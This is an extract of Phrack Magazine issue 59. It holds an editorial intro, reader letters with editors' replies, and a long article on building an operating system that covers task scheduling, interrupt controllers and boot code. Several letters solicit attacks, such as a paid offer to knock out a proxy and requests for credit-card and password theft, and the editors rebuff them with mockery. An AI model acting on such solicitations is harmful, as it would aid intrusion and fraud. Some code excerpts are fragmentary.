Phrack Magazine Issue 59
Phrack Magazine Issue 59
Phrack Magazine Issue 59
DIZ
==Phrack Inc.==
[-]==========================================================================[-]
, ,,,
:#' `, ,, ,,
## : ,#' ,#'
__ $#,,#' ,#' '#,:#$#. ,, ,,, ,#' ,'
/_/l ,#' #$'`#, :# '# .# #; .#' ` #$#;`
: : : ,#' #: '# $# #' '# ##. #: '#
; ; ; '' ,#' ', ,:' "#,,$#,.'#:.,' ,#' ', _/_/_/_/ _/_/_/_/
: : : _/ _/ _/
L ; ; __.-._.-+. _/_/_/_/ _/_/_/_/
/."^.:.L.' .^-. \`. _/_/ _/
:`.`. \"/\ /.-. `. \ \ _/_/ _/
;\ \ ` ;-.y(_.-\ \ `.`. _/_/_/_/ _/_/_/
: _. ;; ` \ \. `-\
\ T :: :=, ,=^\ \"-._; __..------.._
/;:-'; ;<o\ <o> `._L.--^. .-""-.`. \ ""--..
: :_.': : ;/ \ / \ \ ; ""--._
; T \ \ s /:.---. ;_/ `-._; ; : ______ \"-. ___
: :\ \ `.-=^" .:-" _\ \_. : : _:.--".-" .T"---:-.""--""\ ""-.
; \\ "-.\__.:' /-'. ; ; _. ; ; / -' ' .- \ ; "-
: ;\ `..' .' \: ; / / .' ) ; __ /
; `, \ .-" ;/"---" /.' / `- /""" ""---""""--
: .-" `. .'.-\ / ""----""""^-.._ .-" bug
\_.' "._.-"-..-'`-..-' ""--..__..--""
[-]==========================================================================[-]
DMCA knocked down some websites, forced google to censor parts of their
contents and continues to deny, forbid and restrict access to certain
information. Free and unmodified information becomes rare and one day we
might wake up and dont even know what kind of information we missed. Shame
and pity on everyone living in chains in the "free" countries where the
DMCA law applies. (-> PWN).
There might be some confusion about where to get PHRACK and how to get in
contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That
channel has been left alone for nearly 3 years. Those who know us, know
where to find us. All others should contact us by email (PGP key is
attached). None of us would every confirm or show off his involvement in
PHRACK - only snobs do - watch out and dont trust strangers. There is only
one official distribution side:
We got contacted by the very old ones: readers, authors and Editors in
Chief's from 10 and more years ago. Thanks so far to everyone for the
valueable discussions on knights@lists.phrack.org. This is a call to
anyone who wants to meet some friends 'from the old days', or who wants to
organize future events and meetings together: Send an email to
phrackstaff@phrack.org and we will put you on.
Shoutz:
solar designer : respect, strength & honor!
FozZy, brotha : 1OO% kewl logo (see phrack_tshirt.png)
sh1ft33 & j0hn : phrack ghostwriterz
The latest, and all previous, phrack issues are available online at
http://www.phrack.org. Readers without web access can subscribe to the
phrack-distrib mailinglist. Every new phrack is sent as email attachment
to this list. Every new phrack issue (without the attachment) is announced
on the announcement mailinglist.
Phrack Magazine Vol 10 Number 59, Build 2, July 28, 2002. ISSN 1068-1035
Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
|=-----------------------------------------------------------------------=|
mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2
xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb
NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb
96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS
Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob
zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF
Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY
JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX
oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD
FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ
AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb
ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC
36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl
i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy
CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp
QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA
AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu
D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt
GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4
2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8
s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS
4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e
AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo=
=9kWD
-----END PGP PUBLIC KEY BLOCK-----
==Phrack Inc.==
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|
http://www.idefense.com/Intell/CI022702.html
[ or: how to convert public whois db files into .xls and finding
people who buy this bullshit. ]
http://hackingtruths.box.sk/certi.htm
I have a question ?
Is there any way I can find out who is calling if it is from a computer...
I think that is where the annoying calls are being made?
[ If you are in a country that does not have consumer Caller ID, or
provider ANI, then just follow the cord attached to the end your
telephone until you find the person at the other end. Ask them
nicely if they called you. ]
Rob
Kenneth J. Bungert,,,
http://www.atstake.com/company_info/management.html#mudge
[ Look what they did to mudge/Peiter Zatko. They cut his hair,
tied a tie around his neck and covered his body with a suite.
They wrote that he was the CEO (CEO?, #1?) of [the company named]
"L0pht Heavy Industries".
My comment: 'They made a clown out of a well respected smart guy/hacker
who should be better descriped as 'a key figure in americans famous
underground hacking group known as L0pft Heavy Industries'. I hope
the tie will not become too tight mudge :/ ]
From: mac119@hotmail.com
Hello i need some help.
if someone can hack down 172.26.100.10:8080 and take down the proxy server,
would make me very happy.
NB! if someone do that, they will get a little reward from me, $120.
tanks again
Ice
Dear Hacker
Bob Z.
NEVER SEND SPAM. IT IS BAD.
[ Dear Lamer
After speaking with her about this incident she agreed that we should
expose you for the perverse idiot that you are. Get a life. ]
Hey guys..I am a beginner and i am trying to find all the information that
i can on how to learn everything that you guys know...i am not asking for
you to tell me how to hack into hotmail or yahoo mail like some of the
other people here but i just want any kind of information that you can give
me on how to learn anything and everything about what you guys do,
I am new to the world of hacking and cracking, and I want to get some info
on the above.
What I want to do is, obtain credit card numbers, get email passwords and
get into NASA and the FBI, if I am lucky. The sort of stuff the movie
"Hackers" illustrated. I don't know if this can be done, if it can, can
someone email me the information or point me into the right direction on
were to start.
[ Sounds like some pretty serious stuff you want to get into. I
recommend watching Hackers a few more times and then getting yourself
some Gibsons. Remember -- the most commonly used passwords are "love",
"sex", "secret" and "god" -- BUT NOT NECESSARILY IN THAT ORDER YOU
FUCKING LAMER! ]
J.
[ S. ]
[ Hello ]
I have now read quite a few of your magazines. BUT there is a pretty
nasty failure in number 56... Either the index file is misplaced or the
articles are. They don't match, that's for sure!
If you have gotten the time for it could you then please fix it. And I
would be happy if you would send me a copy of the correct one when
finished..
Thank you.
/Dark Origin
[ Thank you. ]
i had search remote buffer to gain access root in telnetd port daemon but
i fail to do it
can you make me one of the remote to attack solaris sparc ... attack from
linux or solaris
[ Nope! ]
thanks
need code
[ Need life. ]
syiron
Hi! Can you to speak to me the learn for to speak the Unix?
[ Greetings, I. O. ]
[ Of course! ]
I'm an aspiring hacker and all-round geek. Girls are scarce over here;
knowledge even more so. I developed the hacker state of mind when I was
exposed to the Net, while I was studying like a demon for a competition
which landed me my Celeron (with some peripherals). While surfing two
days ago, I stumbled onto phrack.org and an old flame was rekindled; So
here I am...
Really guys, Phrack is a good thing. Keep up the good work. The
home page is very nice too... Maybe even chicks will dig it ;)
[ The webmaster has been hoping they would since day 1. ]
I'm a pretty good C and C++ programmer, and the only difficulty I
have is money. NO credit cards to pay for books I can buy only online. I'd
be very grateful if anyone over there could give me the location of a
_free_ machine-readable copy of "The C Programming Language" by K&R. I
doubt if even the universities over here have it (off the record, some
professors here don't know that printf(...) actually returns something, but
claim to have written Linux kernel modules :| ).
[ Geek! ]
alvin
PS: if the only "alvin" you can recall is alvin of the chipmunks, read
up a bit on the works of Sir Arthur C. Clarke.
HI
I WONDER IF U CAN HELP ME
MY NAME IS RAZ AND I LIVE IN LONDON, I HAVE A CONNECTION LINE WITH BT FOR
OUR PHONE.
RECENTLY WE REC.D OUR BILL WHICH WERE PHONES MADE WHICH WE HAVE NOT MADE,
LONG MOBILE PHONES AND INTERNATIONAL, AND WE EVEN THINK WE KNOW WHO DID BUT
HOW?? IS IT POSSIBLE TO DO PHONE HACKING OR TAPPING ?
IF SO HOW..
BT SAID THERE IS NOT WAY AND WE HAVE TO PAY THE BILL WHICH WE WILL BUT
INSIDED OUR HEARTS WE KNOW WE DID NOT DO THEM..
CAN U HELP
Found your site while searching Yahoo on how to play a video file I
downloaded with an .AVI extension with a comment " EG-VCD" after the name
of file, which causes my Windows Media Player to play only the sound ..
without the video.
[ Interesting. ]
[ Good luck. ]
Your site has been added to my favorites. I truly enjoy your content.
Congratulations.
[ Thanks. ]
Take care
Marcel
what do i run the programmme under ,you know like what programme do i run
it in
richard
From: bobby@bobby.com
Subject: [phrackstaff] phrakz
Hi,
My nickname is Bobby - Happy Bobby, im 14 years hacker, & im so happy
becouse of pCHRAK (or sumthin) 58 issue, finally i had found
information how to break into pentagon server, but i have one littl3
pr0blem, i dunno how to log into this server i had tried telnet
pentagon.org but my Windows said "Cannot found telnet.exe file", could you
tell me what am i doing wrong?
PS.My dick is now 32cm long!, one year ago it was only 5cm, how about
yours?
s0ry 4 my b4d inglish (i ate all sesame-cakes :),
ps0x01.gr33tz to all hacker babes (if they really exists i bet they
would like to hack into my pants & meet Big Bobby :)
ps0x02.i tak mierdzicie ledziem :)
ps0x03.pana guampo kanas e ribbon hehe
psx.cya
Happy Bobby
[ ... ]
~][cyflame
From: gobbles@hushmail.com
Subject: ALERT! BLUE BOAR IS IN #PHRACK! ALERT!
Hey.
[ y0! ]
[ Man, I've been looking for that one for the last 15 years
on www.phrack.org but i guess one of the previous editors just
rm'ed it. jolly rodger cook book, yummm yumm, that's what's
missing on our page....]
[ PHRACK != GOOGLE ]
How do I figure out someone's password and user name if I have their e-mail
address?
==Phrack Inc.==
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|
--[ Contents
2 - PHRACK OS Construction
Oops, For the last 17 years we forgot the .txt extension to the
articles.
http://www.cafepress.com/cp/store/store.aspx?storeid=phrack
--[ Contents
0 - Introduction
2 - OS Components
2.1 Task Model
2.2 Memory Management
2.3 I/O interface
2.4 File System
2.5 Notes On Security
--[ 0 - Introduction
During the many hours that I pestered these CDC veterans for details, I
heard more than a few interesting war stories. For example, when Control
Data came out with the 6600, it was much faster than anything IBM was
selling. The execs at Big Blue were so peeved at being upstaged by Cray
that they created a paper tiger and told everyone to wait a few months.
Unfortunately, it worked. Everyone waited for IBM to deliver ( IBM never
did, those bastards ) and this forced CDC to drop the price of the 6600
in half in order to attract customers.
If you are familiar with IBM's business practices, this type of behavior
comes as no surprise. Did you know that IBM sold Hollerith tabulators to
the Nazis during WWII?
For the sake of focusing on the process itself, I delay the finer details
of construction until Part 2. In Part 2, I present a rough map that can be
used to determine the order in which the components of the OS should be
implemented.
For the sake of illuminating a few of the issues that a system engineer
will face during OS implementation, I have included a brief discussion
of an extended example in part 3. My goal in part 3 is to illustrate some
of the points that I make in part 1. I have no intention of offering a
production quality OS, there are already a number of excellent examples
available. Interested readers can pick up any of the references provided
at the end of this article.
In the stock market, you typically need money in order to make money.
Building an OS is the same way: you need an OS in order to build one.
Let's call the initial OS, and the hardware that it runs on, the 'host'
platform. I will refer to the OS to be constructed, and the hardware that
it will run on, as the 'target' platform.
I remember asking a Marine Corp Recon guy once what he thought was the
most effective small sidearm. His answer: "whichever one you are the most
familiar with."
The same holds true for choosing a host platform. The best host platform
to use is the one which you are the most familiar with. You are going to
have to perform some fancy software acrobatics and you will need to be
intimately familiar with both your host OS and its development tools. In
some more pathological cases, it may even help to be familiar with the
machine instruction encoding of your hardware. This will allow you to
double check what your development tools are spitting out.
You may also discover that there are bugs in your initial set of tools,
and be forced to switch vendors. This is a good reason for picking a host
platform which is popular enough that their are several tool vendors to
choose from. For example, during some system work, on Windows, I
discovered a bug in Microsoft's assembler (MASM). As it happened, MASM
would refuse to assemble a source file which exceeded a certain number of
lines. Fortunately, I was able to buy Borland's nifty Turbo Assembler
(TASM) and forge onward.
This can be a lot more work than it sounds. Not only will you have to
reproduce the bare hardware, but you will also have to mimic the BIOS which
is burned into the machine's ROM. There are also peripheral devices and
micro controllers that you will need to replicate.
Note: The best way to see if you have implemented a simulator correctly is
to create an image file of a live partition and see if the simulator will
run the system loaded on it. For example, if you built an x86 simulator,
then you could test out an image file of a Linux boot partition.
The primary benefit of the simulator is that it will save you from having
to work in the dark. There is nothing worse than having your machine
crash and not being able to determine why. Watching your Intel box triple
fault can be extremely frustrating, primarily because it is almost
impossible to diagnose the problem once it has occurred. This is
particularly true during the boot phase, where you haven't built enough
infrastructure to stream messages to the console.
The alternative is to run your OS code on raw metal, which will basically
preclude your ability to record the machine's state when it crashes. The
diagnostic and forensic techniques which you used with the simulator will
be replaced by purely speculative tactics. This is no fun, trust me.
http://sourceforge.net/projects/bochs
gcc: http://gcc.gnu.org
small-C: http://www.ddjembedded.com/languages/smallc
OK, you've done all the prep work. It's time to code the OS proper. The
finer details of this process are discussed in Part 2. Once you have
a prototype OS built than runs well on the simulator you will be faced
with the -BIG- hurdle ... running your code on the actual target hardware.
I found that this is a hurdle which you should jump early on. Do a test
run on the target platform as soon as you have the minimal number of
working components. Discovering that your code will not boot after 50,000
lines of effort can be demoralizing.
If you were disciplined about designing and testing your simulator, most
of your problems will probably be with the OS code itself and perhaps
undocumented features in peripheral hardware controllers. This is where
investing the time in building a bullet-proof simulator truly pays off.
Knowing that the simulator does its job will allow you to more accurately
diagnose problems ... and also save you plenty of sleep.
Finally, I would recommend using a boot disk so that you don't put the
hard drive(s) of your target machine at risk. Even the Linux kernel can
be made to fit on a single floppy, so for the time being try not to worry
about binary size constraints.
Congratulations. You have gone where only a select few have gone before.
You've built an operating system. However, wouldn't it be nice to have
a set of development tools that can be run by your new OS? This can be
achieved by bootstrapping the existing cross-compiler.
Here's how bootstrapping works: You take the source code for your cross-
compiler and feed it to the cross-compiler on the host platform. The
cross-compiler digests this source code and produce a new binary that can
be executed by the target OS. You now have a compiler that runs on the
target OS and which creates executables that also run on the target OS.
--[ 2 - OS Components
As a final aside, you will want to learn the assembly language for the
target platform's hardware. There are some OS features that are tied
directly to hardware and cannot be provided without executing a few dozen
lines of hardware-specific assembler. The Intel instruction set is
probably one of the most complicated. This is primarily due to historical
forces that drove Intel to constantly strive for backwards compatibility.
The binary encoding of Intel instructions is particularly perplexing.
In his book on OS design, Richard Burgess states that you should try to
start with the task control code, and I would tend to agree with him.
The task model you choose will impact everything else that you do.
First, and foremost, an operating system manages tasks. What is a task? The
Intel Pentium docs define a process as a "unit of work" (V3 p.6-1).
What was that person smoking? It's like saying that a hat is defined as a
piece of clothing. It doesn't give any insight into the true nature of a
task. I prefer to think of a task a set of instructions being executed by
the CPU in conjunction with the machine state which that execution
produces.
The task structures are also joined by next_task and prev_task pointers
to form a doubly-linked list.
struct task_struct
{
:
struct task_struct *next_task, *prev_task;
:
};
You will need to decide if your OS will multi-task, and if so then what
policy will it apply in order to decide when to switch between tasks
( switching tasks is also known as a context switch ). Establishing a
mechanism-policy separation is important because you may decide to change
the policy later on and you don't want to have to re-write all the
mechanism code.
The TR register always holds the segment selector for the currently
executing task. A task switch is performed by saving the state of
the existing process in its TSS and then loading the TR with a new
selector. How this actually occurs, in terms of what facilitates the
re-loading of TR, is usually related to hardware timers.
Deciding which process gets the CPU's attention, and for how long, is a
matter of policy. This policy is implemented by the scheduler. The Linux
kernel has a scheduler which is implemented by the schedule() function
located in /usr/src/linux/kernel/sched.c.
The scheduler looks for the task on the runqueue with the highest
'goodness' value and schedules that task for execution. Goodness is a
value calculated by the goodness() function. It basically returns a
value which reflects the need for the task to run.
Goodness Spectrum
-----------------
-1000: never select this
0: re-examine entire list of tasks, not just runqueue
+ve: the larger, the better
+1000: realtime process, select this.
If the highest goodness values of all the tasks in the runqueue is zero,
then the scheduler takes a step back and looks at all of the tasks, not
just the ones in runqueue.
repeat_schedule:
/*
* Default process to select..
*/
next = idle_task(this_cpu);
c = -1000;
list_for_each(tmp, &runqueue_head)
{
p = list_entry(tmp, struct task_struct, run_list);
if (can_schedule(p, this_cpu))
{
int weight = goodness(p, this_cpu, prev->active_mm);
if (weight > c){ c = weight, next = p; }
}
}
spin_unlock_irq(&runqueue_lock);
read_lock(&tasklist_lock);
for_each_task(p)
{
p->counter = (p->counter >> 1) + NICE_TO_TICKS(p->nice);
}
read_unlock(&tasklist_lock);
spin_lock_irq(&runqueue_lock);
goto repeat_schedule;
}
:
:
A process both occupies and allocates memory. Once you have a task model
sketched out, you will need to give it access to a memory management
subsystem. Make sure to keep the interface to the memory subsystem clean,
so that you can yank it out and replace it later, if you need to.
i- segmentation
ii- paging
You will have to decide whether or not you want to support these two
features. Paging, in particular, is a hardware intensive task. This means
that if you do decide to provide paging facilities, porting the OS will
be difficult at best. According to Tanenbaum, this is the primary reason
why Minix does not support paging.
Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that
the base address values in the selectors actually point to valid
global and interrupt descriptor tables. It also saves him from having
to put these data structures in the boot code, which helps because of
the 512 byte size limit.
Barry Brey, who is an expert on the Intel chip set, told me that paging on
Windows eats up about 10% of the execution time. In fact, paging is so
costly, in terms of execution time, and RAM is so cheap that it is
often a better idea to buy more memory and turn off paging anyways.
In light of this, you shouldn't feel like paging is a necessity. If you
are designing an embedded OS, you won't need paging anyways.
Back when primary memory cores were 16KB, and those little magnets were
big ticket items, paging probably made a whole lot more sense. Today,
however, buying a couple GB of SDRAM is not uncommon and this causes me
to speculate that maybe paging is a relic of the past.
You now have processes, and they live in memory. But they cannot interact
with the outside world without connections to I/O devices. Connecting to
I/O devices is traditionally performed by sections of code called drivers,
which are traditionally buried in the bowels of the OS. As with other
components of the OS, you will have to use your assembly language skills.
In Intel protected mode, using the BIOS to get data to the screen is not
an option because the old real-mode way of handling interrupts and
addressing memory is no longer valid. One way to send messages to the
screen is to write directly to video memory. Most monitors, even flat
panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25
color text mode.
In either case, the screen can display 80 rows and 25 columns worth of
character data. Each character takes up two bytes in the video RAM memory
region ( which isn't so bad ... 80x25=2000x2=4000 bytes ). You can place
a character on the screen by merely altering the contents of video RAM.
The lower byte holds the ASCII character, and the high byte holds an
attribute.
bit 7 blink
---------------
bit 6
bit 5 background color ( 0H=black )
bit 4
---------------
bit 3
bit 2 foreground color ( 0EH=white )
bit 1
bit 0
To handle multiple screens, you merely create screen buffers and then
commit the virtual screen to video RAM when you want to see it.
For example, in protected mode the following code ( written with DJGPP )
will place a 'J' on the screen.
#include <sys/farptr.h>
#include <go32.h>
_farpokeb(_dos_ds, 0xB8000, 'J');
_farpokeb(_dos_ds, 0xB8000+1, 0x0F);
The 8259 PIC is the hardware liaison between the hardware and the processor.
The most common setup involves two 8259 PICs configured in a master-slave
arrangement. Each PIC has eight interrupt request lines (IRQ lines) that
receive data from external devices ( i.e. the keyboard, hard drive, etc. ).
The master 8259 will use its third pin to latch on to the slave 8259
so that, all told, they provide 15 IRQ lines for external hardware. The
master 8259 then communicates to the CPU through the CPUs INTR interrupt
PIN. The slave 8259 uses it's INTR slot to speak to the master on its
third IRQ line.
Normally the BIOS will program the 8259 when then computer boots, but
to talk to hardware devices in protected mode, the 8259 must be
re-programmed. This is because the 8259 couples the IRQ lines to
interrupt signals. Programming the 8259 will make use of the IN and OUT
instructions. You basically have to send 8-bit values to the 8259's
interrupt command register (ICR) and interrupt mask register (IMR)
in a certain order. One wrong move and you triple-fault.
My favorite example of programming the 8259 PIC comes from MMURTL. The
following code is located in INITCODE.INC and is invoked during the
initialization sequence in MOS.ASM.
;=========================================================================
; This sets IRQ00-0F vectors in the 8259s
; to be Int20 thru 2F.
;
; When the PICUs are initialized, all the hardware interrupts are MASKED.
; Each driver that uses a hardware interrupt(s) is responsible
; for unmasking that particular IRQ.
;
PICU1 EQU 0020h
PICU2 EQU 00A0h
Note how Burgess performs two NEAR jumps after each OUT instruction. This
is to give the PIC time to process the command.
The insmod utility acts as a linker/loader and assimilates the LKM into
the kernel's memory image. Insmod does this by invoking the init_module
system call. This is located in /usr/src/linux/kernel/module.c.
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user){ ...
return 0;
}
The Unix OS, in an attempt to simply things, treats every device like a
file. This is done in order to keep the number of system calls down and
to offer a uniform interface from one hardware subsystem to the next.
This is an approach worth considering. However, on the other hand, the
Unix approach have not always gotten a good grade in terms of ease of use.
Specifically, I have heard complaints about mounting and un-mounting from
Windows users who migrate to Unix.
Note, If you do take the LKM route, you should be careful not to make
the loadable driver feature into a security flaw.
You now have processes, in memory, that can talk to the outside world.
The final step is to give them a way of persisting and organizing data.
In general, you will build the file system manager on top of the disk
drivers that you implemented earlier in the last step. If your OS is
managing an embedded system, you may not need to implement a file system
because no disk hardware exists. Even with embedded systems, though, I've
seen file systems implemented as RAM disks. Even embedded systems
sometimes need to produce and store log files ....
There are several documented files system specifications available to the
public, like the ext2 file system made famous by Linux. Here is the main
link for the ext2 implementation:
http://e2fsprogs.sourceforge.net/ext2.html
If you have the Linux kernel source and you want to take a look at the
basic data structures of the ext2fs, then look in:
/usr/src/linux/include/linux/ext2_fs.h
/usr/src/linux/include/linux/ext2_fs_i.h
/usr/src/linux/fs/ext2
#include <linux/module.h>
EXPORT_NO_SYMBOLS;
module_init(init_ext2_fs)
module_exit(exit_ext2_fs)
Obviously, from the previous discussion, you should realize that support
for ext2fs can be provided by an LKM!
Some OS creators, like Burgess, go the way of the MS-DOS FAT file system,
for the sake of simplicity, and so they didn't have to reformat their
hard drives. I wouldn't recommend the FAT system. In general, you might
want to keep in mind that it is a good idea to implement a file system
which facilitates file ownership and access controls. More on this in the
next section ...
Software is the same way. Complicated source code has the potential to
provide all sorts of insidious places for bugs to hide. As operating
systems have evolved they have become more complicated. According to
testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98
consists of over 18 million lines of code. Do you think there is a bug
in there somewhere? Oh, ... no ... Microsoft wouldn't sell buggy code ...
Security is not something that you want to add on to your OS when you are
almost done with it. Security should be an innate part of your system's
normal operation. Keep this in mind during every phase of construction,
from task management to the file system manager.
People who have imaginary enemies are called 'paranoid.' People who have
enemies that they think are imaginary are called 'victims.' It's often
hard to tell the two apart until its too late. If I had to trust my
business to an OS, I would prefer to invest in one that errs on the side
of paranoia.
One side benefit of choosing Windows is that it ships with its own
simulator. The DOS Virtual Machine subsystem is basically a crudely
implemented 8086 simulator. I say 'crude' because it doesn't have the
number or range of features that bochs provides. I actually tested a lot
of code within the confines of the DOS VM.
iii- is free
Intel PCs boot into real-mode, which means that I will need to start the
party with a 16-bit compiler. In addition, system code must be raw binary
so that runtime address fix ups do not have to be manually implemented.
This is not mandatory, but it would make life much easier.
The only commercial compilers that generated 16-bit, raw binary, files
passed out of fashion years ago ... so I had to do some searching.
After trolling the net for compilers, I ended up with the following matrix:
I Ended up working with Micro-C, even though it does not support the entire
ANSI standard. The output of Micro-C is assembler and can be fed to MASM
without to much trouble. Micro-C was created by Dave Dunfield and can be
found at:
ftp://ftp.dunfield.com/mc321pc.zip
Don't worry about the MASM dependency. You can now get MASM 6.1 for free
as a part of the Windows DDK. See the following URL for details:
http://www.microsoft.com/ddk/download/98/BINS_DDK.EXE
http://download.microsoft.com/download/vc15/Update/1/WIN98/EN-US/Lnk563.exe
The only downside to obtaining this 'free' version of MASM ( i.e. the
ML.EXE,ML.err, and LINK.EXE files ) is that they come with zero documents.
http://webster.cs.ucr.edu/Page_TechDocs/MASMDoc
One problem with using most C compilers to create OS code is that they all
add formatting information to the executable files they generate. For
example, the current version of Visual C++ creates console binaries that
obey the Portable Executable (PE) file format. This extra formatting is
used by the OS program loader at runtime.
Compilers also tack on library code to their executables, even when they
don't need it.
void main(){}
I am going to compile this code as a .COM file using TurboC. Take a look at
the size of the object file and final binary.
Holy smokes... there's a mother load of ballast that the compiler adds on.
This is strictly the doing of the compiler and linker. Those bastards!
To see how excessive this actually is, let's look at a .COM file which
is coded in assembler. For example, let's create a file.asm that looks
like:
CSEG SEGMENT
start:
ADD ax,ax
ADD ax,cx
CSEG ENDS
end start
As you can see, the executable is only 4 bytes in size! The assembler
didn't add anything, unlike the C compiler, which threw in everything but
the kitchen sink. In all likelihood, the extra space is probably taken
up by libraries which the linker appends on.
The painful truth is, unless you want to build your own backend to a
C compiler, you will be faced with extra code and data on your OS binary.
One solution is simply to ignore the additional bytes. Which is to say
that the OS boot loader will simply skip the formatting stuff and go right
for the code which you wrote. If you decide to take this route, you might
want to look at a hex dump of your binary to determine the file offset at
which your code begins.
For example, the MCC compiler would always add extra segments and
place program elements in them. Variables translated to assembler would
always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var ).
char arr[]={'d','e','v','m','a','n','\0'};
void main(){}
.486
CSEG SEGMENT BYTE USE16 PUBLIC 'CODE'
ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset
here:
JMP _main
EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR
EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR
EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD
CSEG ENDS
END here
It then picks out the procedures and data elements in the original
assembly program and places them in the body of the skeleton. Here is the
somewhat awkward, but effective program that performed this task:
/* convert.c------------------------------------------------------------*/
#include<stdio.h>
#include<string.h>
ch = fgetc(fptr);
if(ch==EOF){ buff[0]='\0'; return(0); }
while((ch=='\n')||(ch=='\r')||(ch=='\t')||(ch==' '))
{
ch = fgetc(fptr);
if(ch==EOF){ buff[0]='\0'; return(0); }
}
while((ch!='\n')&&(ch!='\r'))
{
if(ch!=EOF){ buff[i]=(char)ch; i++; }
else
{
buff[i]='\0';
return(0);
}
ch = fgetc(fptr);
}
buff[i]='\r';i++;
buff[i]='\n';i++;
buff[i]='\0';
return(1);
}/*end getNextLine*/
char buffer[512];
char write=0;
fin = fopen(argv[1],"rb");
printf("Opening %s\n",argv[1]);
fout = fopen("os.asm","wb");
fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n");
fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n");
fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n");
while(getNextLine(fin,buffer))
{
if((buffer[0]=='P')&&
(buffer[1]=='U')&&
(buffer[2]=='B')&&
(buffer[3]=='L')&&
(buffer[4]=='I')&&
(buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;}
if((buffer[0]=='D')&&
(buffer[1]=='S')&&
(buffer[2]=='E')&&
(buffer[3]=='G')){ write=0;}
if((buffer[0]=='B')&&
(buffer[1]=='S')&&
(buffer[2]=='E')&&
(buffer[3]=='G')){ write=0;}
if((buffer[0]=='R')&&
(buffer[1]=='E')&&
(buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;}
if(write)
{
swipeDGRP(buffer);
fprintf(fout,"%s",buffer);
}
buffer[0]='\0';
}
fprintf(fout,"CSEG ENDS\r\n");
fprintf(fout,"END here\r\n");
fclose(fin);
fclose(fout);
return;
}/*end main-------------------------------------------------------------*/
OK, the first thing I'm going to do is build a boot program. This program
has to be small. In fact, it has to be less than 512 bytes in size because
it has to fit on the very first logical sector of the floppy disk. Most
1.44 floppy disks have 80 tracks per side and 18 sectors per track. The
BIOS labels the two sides ( 0,1 ), tracks 0-79, and sectors 1-18.
All 8x86 machines start in real-mode, and the boot sector is loaded into
memory at the address 0000[0]:7C00 ( or 0x07C00 ) using hexadecimal. Once
this occurs, the BIOS washes its hands of the booting procedure and we
are left to our own devices.
Many operating systems will have the boot sector load a larger boot
